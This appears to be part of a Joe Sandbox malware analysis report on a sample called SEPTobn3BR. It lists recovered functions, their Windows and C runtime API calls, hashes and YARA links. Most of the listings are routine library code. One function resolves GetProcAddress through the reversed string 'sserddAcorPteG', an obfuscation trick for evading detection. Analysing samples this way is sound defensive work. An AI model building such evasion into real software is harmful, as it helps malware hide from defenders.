Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: _free
String ID: 8:G
API String ID: 269201875-405301104
Opcode ID: 76d0ae20e321c1f8d33a0e61d3fd8decc26b720c3d8a788f20ca92602b864a36
Instruction ID: 3699a3f12da4b0261a486a328ee9cad72de2f1764164bd8ca2c21f407f7a7d90
Opcode Fuzzy Hash: 76d0ae20e321c1f8d33a0e61d3fd8decc26b720c3d8a788f20ca92602b864a36
Instruction Fuzzy Hash: 4241E476A002249FCB14EF78C880A5AB7E6EF89314B1541A9D905FB381DB71AA05DB51

Function 02C2F666 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02C2F3AD: _free.LIBCMT ref: 02C2F3D6

_free.LIBCMT ref: 02C2F6B4
_free.LIBCMT ref: 02C2F6BF
_free.LIBCMT ref: 02C2F6CA
_free.LIBCMT ref: 02C2F71E
_free.LIBCMT ref: 02C2F729
_free.LIBCMT ref: 02C2F734
_free.LIBCMT ref: 02C2F73F

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: d645742a9f031bfd4c53cfe37fe00a001808073c56fe889b6c8b285726f20831
Instruction ID: 12b31b9a593537ddf086529712a0a0cdf887da533e3c68510401c381837a4957
Opcode Fuzzy Hash: d645742a9f031bfd4c53cfe37fe00a001808073c56fe889b6c8b285726f20831
Instruction Fuzzy Hash: 50116371540B2CBAD520BBB1CD05FCB7BAE5F00700F804819B69E66491DE79B50DAF50

Function 02B8AE4C Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 02B8ACC4: VirtualQuery.KERNEL32(?,?,0000001C), ref: 02B8ACE1
Part of subcall function 02B8ACC4: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02B8AD05
Part of subcall function 02B8ACC4: GetModuleFileNameA.KERNEL32(02B80000,?,00000105), ref: 02B8AD20
Part of subcall function 02B8ACC4: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02B8ADB6

CharToOemA.USER32(?,?), ref: 02B8AE83
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 02B8AEA0
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02B8AEA6
GetStdHandle.KERNEL32(000000F4,02B8AF10,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02B8AEBB
WriteFile.KERNEL32(00000000,000000F4,02B8AF10,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02B8AEC1
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 02B8AEE3
MessageBoxA.USER32(00000000,?,?,00002010), ref: 02B8AEF9

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: c82d30bce22976e294cee82e6a78cb1d9155dfa4e1a66fd4e1114cac8f7cc825
Instruction ID: 0f745b5eed8af571ed9bc69d3115d836435d580107718c0f5a7e82c8a9a92695
Opcode Fuzzy Hash: c82d30bce22976e294cee82e6a78cb1d9155dfa4e1a66fd4e1114cac8f7cc825
Instruction Fuzzy Hash: D4117CB6584244BAD200FBA4CC81FDB7BEDAB45700F4009A6B748DB0E0EA74E944CF62

Function 02C19E08 Relevance: 9.3, APIs: 6, Instructions: 284COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 02C19F95
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02C19FB1
__allrem.LIBCMT ref: 02C19FC8
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02C19FE6
__allrem.LIBCMT ref: 02C19FFD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02C1A01B

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: e54fcd2a271a95563de48233a52a921a5b89548056e17f80f76cd68e5be4f8c8
Instruction ID: 6bd442c89309bfc335480d5bd8685546eb6549edd52eff1ef8f6ff7a838a70ed
Opcode Fuzzy Hash: e54fcd2a271a95563de48233a52a921a5b89548056e17f80f76cd68e5be4f8c8
Instruction Fuzzy Hash: 4F814E72A00705AFE724EE78CC52B6A73E9AF86364F14452EE415D7280EB74DA00EFD5

Function 02C222C5 Relevance: 9.2, APIs: 6, Instructions: 217COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02C22355
_free.LIBCMT ref: 02C2236F
_free.LIBCMT ref: 02C2237A
_free.LIBCMT ref: 02C2244E
_free.LIBCMT ref: 02C2246A
_free.LIBCMT ref: 02C22474

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: a169deee8d6ced91b4625a1f20bcaf9c98a75f3c366a0d0b8970e9d133f6d33b
Instruction ID: 3c1b5b7afdea362396617ec608c2421219373dedc24d6018c991f51c97c546fb
Opcode Fuzzy Hash: a169deee8d6ced91b4625a1f20bcaf9c98a75f3c366a0d0b8970e9d133f6d33b
Instruction Fuzzy Hash: FB51AD369042346BDF28DF68D840BBBB7ADDF85364F14415AEC489B280EF719E0AC691

Function 02C24397 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 02C243C3
__cftoe.LIBCMT ref: 02C243F5

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: 0fae115f831cac106012114eb4540e124d695819a26846d31b7a5b9ad28ad3e8
Instruction ID: 40f006fb4f1aa663b0a50f5a7c8f1722e492b166a9239f4130ba0d7eac665faf
Opcode Fuzzy Hash: 0fae115f831cac106012114eb4540e124d695819a26846d31b7a5b9ad28ad3e8
Instruction Fuzzy Hash: A2512D72900225ABDF3DDF698C41FAE77A9EF89334F504129F819A7181DF31D608DA64

Function 02B8E514 Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02B8E5AD
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02B8E5C9
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 02B8E602
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02B8E67F
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 02B8E698
VariantCopy.OLEAUT32(?,00000000), ref: 02B8E6CD

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction ID: f59486620b0a623526fe5d36b74fdb37e94f2ff98b0fb904cdc1ff630e0f3710
Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction Fuzzy Hash: B151B7759006299BCB26EB68C880BD9B3BDAF4D310F4441D6E50DA7252D630EF85CF61

Function 02BF0E43 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 02BF0E50
int.LIBCPMT ref: 02BF0E63

Part of subcall function 02BEE075: std::_Lockit::_Lockit.LIBCPMT ref: 02BEE086
Part of subcall function 02BEE075: std::_Lockit::~_Lockit.LIBCPMT ref: 02BEE0A0

std::_Facet_Register.LIBCPMT ref: 02BF0EA3
std::_Lockit::~_Lockit.LIBCPMT ref: 02BF0EAC
__CxxThrowException@8.LIBVCRUNTIME ref: 02BF0ECA
__Init_thread_footer.LIBCMT ref: 02BF0F0B

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
String ID:
API String ID: 3815856325-0
Opcode ID: 296aa1fc45bd8a97e11338d30c2ad026eda8063a32206ad78c4166fd1b77079b
Instruction ID: d35417a121886f1ce03b71e735fd61f1b88367dc0c0257b2196b62ceac7e1435
Opcode Fuzzy Hash: 296aa1fc45bd8a97e11338d30c2ad026eda8063a32206ad78c4166fd1b77079b
Instruction Fuzzy Hash: 1A210532900114EBCB14FBA8E8429DD77B9DF05320F2005EAE945A72E1EF349E45AFD5

Function 02B83568 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02B8358A
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,02B835D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02B835BD
RegCloseKey.ADVAPI32(?,02B835E0,00000000,?,00000004,00000000,02B835D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02B835D3

Strings

FPUMaskValue, xrefs: 02B835B4
SOFTWARE\Borland\Delphi\RTL, xrefs: 02B83580

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: e3fc2b7c5d7656280f428c1df30e8eecfd4e3e76b72d5c25e92f183de5152bb8
Instruction ID: 190acc5e9fee44fa69fdcc95c65f4ed835178289655a51984ba65afd81c76963
Opcode Fuzzy Hash: e3fc2b7c5d7656280f428c1df30e8eecfd4e3e76b72d5c25e92f183de5152bb8
Instruction Fuzzy Hash: 0B01D875954308BAF711EF94CD03BBDB7ECE708B10F1005E1BA08D7990E6749611CB59

Function 02B980C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B98150,?,?,00000000,00000000,?,02B98069,00000000,KernelBASE,00000000,00000000,02B98090), ref: 02B98115
GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B9811B
GetProcAddress.KERNEL32(?,?), ref: 02B9812D

Strings

sserddAcorPteG, xrefs: 02B980E3
Kernel32, xrefs: 02B98110

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: Kernel32$sserddAcorPteG
API String ID: 667068680-1372893251
Opcode ID: f79e5afb4bfdc242174ea7ac60c4f2ec830e9226a633e9e378820ee9156b0b47
Instruction ID: af86d6966c1a6d325e1fe9ca05e6ffb44cecfc31540bcc4d4edde7ba96c8444c
Opcode Fuzzy Hash: f79e5afb4bfdc242174ea7ac60c4f2ec830e9226a633e9e378820ee9156b0b47
Instruction Fuzzy Hash: 4C012C79A50304BFEF00EBA8D841A9E77BEEB49710F5188A4F50897A10DA34A910CE24

Function 02C23799 Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 02C238A4
_free.LIBCMT ref: 02C238BB
_free.LIBCMT ref: 02C238DA
_free.LIBCMT ref: 02C238F5
_free.LIBCMT ref: 02C2390C

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 68d3d4ca8a647a007ad94700598122f23d06d752802edf7745cc1232d3d9ba81
Instruction ID: d852c8d0e59b04d8a3c11fc73db99773e86cd6eb1e6b16eb265199c43b656592
Opcode Fuzzy Hash: 68d3d4ca8a647a007ad94700598122f23d06d752802edf7745cc1232d3d9ba81
Instruction Fuzzy Hash: 81511531A00354AFDB24DF69CC41B6A77F5FF85720F1041AAE809EB290EB39DA09DB40

Function 02C19B66 Relevance: 7.6, APIs: 5, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

__dosmaperr.LIBCMT ref: 02C19BD2
__dosmaperr.LIBCMT ref: 02C19C0F
__dosmaperr.LIBCMT ref: 02C19C63
_free.LIBCMT ref: 02C19C6F
_free.LIBCMT ref: 02C19C76

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: __dosmaperr$_free
String ID:
API String ID: 242264518-0
Opcode ID: 483cb59b05aae7222e8dd9b47b4a98874ada728b8e202fcd2bd4ef1ccfd8c6c3
Instruction ID: d729138d3a0a4036b6f5d3767ac7b7a31945f3b5571cfa6f1487e8d7c2d9ce1f
Opcode Fuzzy Hash: 483cb59b05aae7222e8dd9b47b4a98874ada728b8e202fcd2bd4ef1ccfd8c6c3
Instruction Fuzzy Hash: 6B31A27240460AFFDF156FA4DC659AF7BADEF46364F100169F81097290DB31CA50EBA1

Function 02BF1154 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 02BF1161
int.LIBCPMT ref: 02BF1174

Part of subcall function 02BEE075: std::_Lockit::_Lockit.LIBCPMT ref: 02BEE086
Part of subcall function 02BEE075: std::_Lockit::~_Lockit.LIBCPMT ref: 02BEE0A0

std::_Facet_Register.LIBCPMT ref: 02BF11B4
std::_Lockit::~_Lockit.LIBCPMT ref: 02BF11BD
__CxxThrowException@8.LIBVCRUNTIME ref: 02BF11DB

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
String ID:
API String ID: 2536120697-0
Opcode ID: e42b24a72f1c346ef2fbe1d3cf240902612692734d8aa84a6b4d17056c7d6fbb
Instruction ID: e2836ede9ad579a417331964e4a7d86fda3b26eb9b0c455aed1d215925a64010
Opcode Fuzzy Hash: e42b24a72f1c346ef2fbe1d3cf240902612692734d8aa84a6b4d17056c7d6fbb
Instruction Fuzzy Hash: 56110A32500114E7CB14EF98E8418DE777ADF40360F1046AAE909A7290DB30DE859BD0

Function 02C19686 Relevance: 7.6, APIs: 5, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 02C196A2
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 02C196BB

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 8fa3eba41d5dfcfa025b4cdbc1becdc984892f6557d94f52d480fd9577c81c63
Instruction ID: 737574180aa1ff997557bcb7fc15dc252e0d81aa6d3d5e41a2255c1a7fbe0e23
Opcode Fuzzy Hash: 8fa3eba41d5dfcfa025b4cdbc1becdc984892f6557d94f52d480fd9577c81c63
Instruction Fuzzy Hash: 6901843620D3215EAB652A766C96A2B2F96EF437757340739F614460E0FFE18801B594

Function 02B8A9D8 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,02B8AA6F,?,?,00000000), ref: 02B8A9F0

Part of subcall function 02B8A74C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02B8A76A

GetThreadLocale.KERNEL32(00000000,00000004,00000000,02B8AA6F,?,?,00000000), ref: 02B8AA20
EnumCalendarInfoA.KERNEL32(Function_0000A924,00000000,00000000,00000004), ref: 02B8AA2B
GetThreadLocale.KERNEL32(00000000,00000003,00000000,02B8AA6F,?,?,00000000), ref: 02B8AA49
EnumCalendarInfoA.KERNEL32(Function_0000A960,00000000,00000000,00000003), ref: 02B8AA54

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 9a075c9aaf5666457ae9038b37bdb6e8e721cf87b331d94bbb385cc5bc430adc
Instruction ID: 4db1739fb723edf74cc4dd9345b1fa43a8b376d42c9425a4a0a9ce344990dceb
Opcode Fuzzy Hash: 9a075c9aaf5666457ae9038b37bdb6e8e721cf87b331d94bbb385cc5bc430adc
Instruction Fuzzy Hash: 85012B356006486FF701F674CD12B9E739DDB41B14F5105E1F62DAAAD0D674DE00CAA4

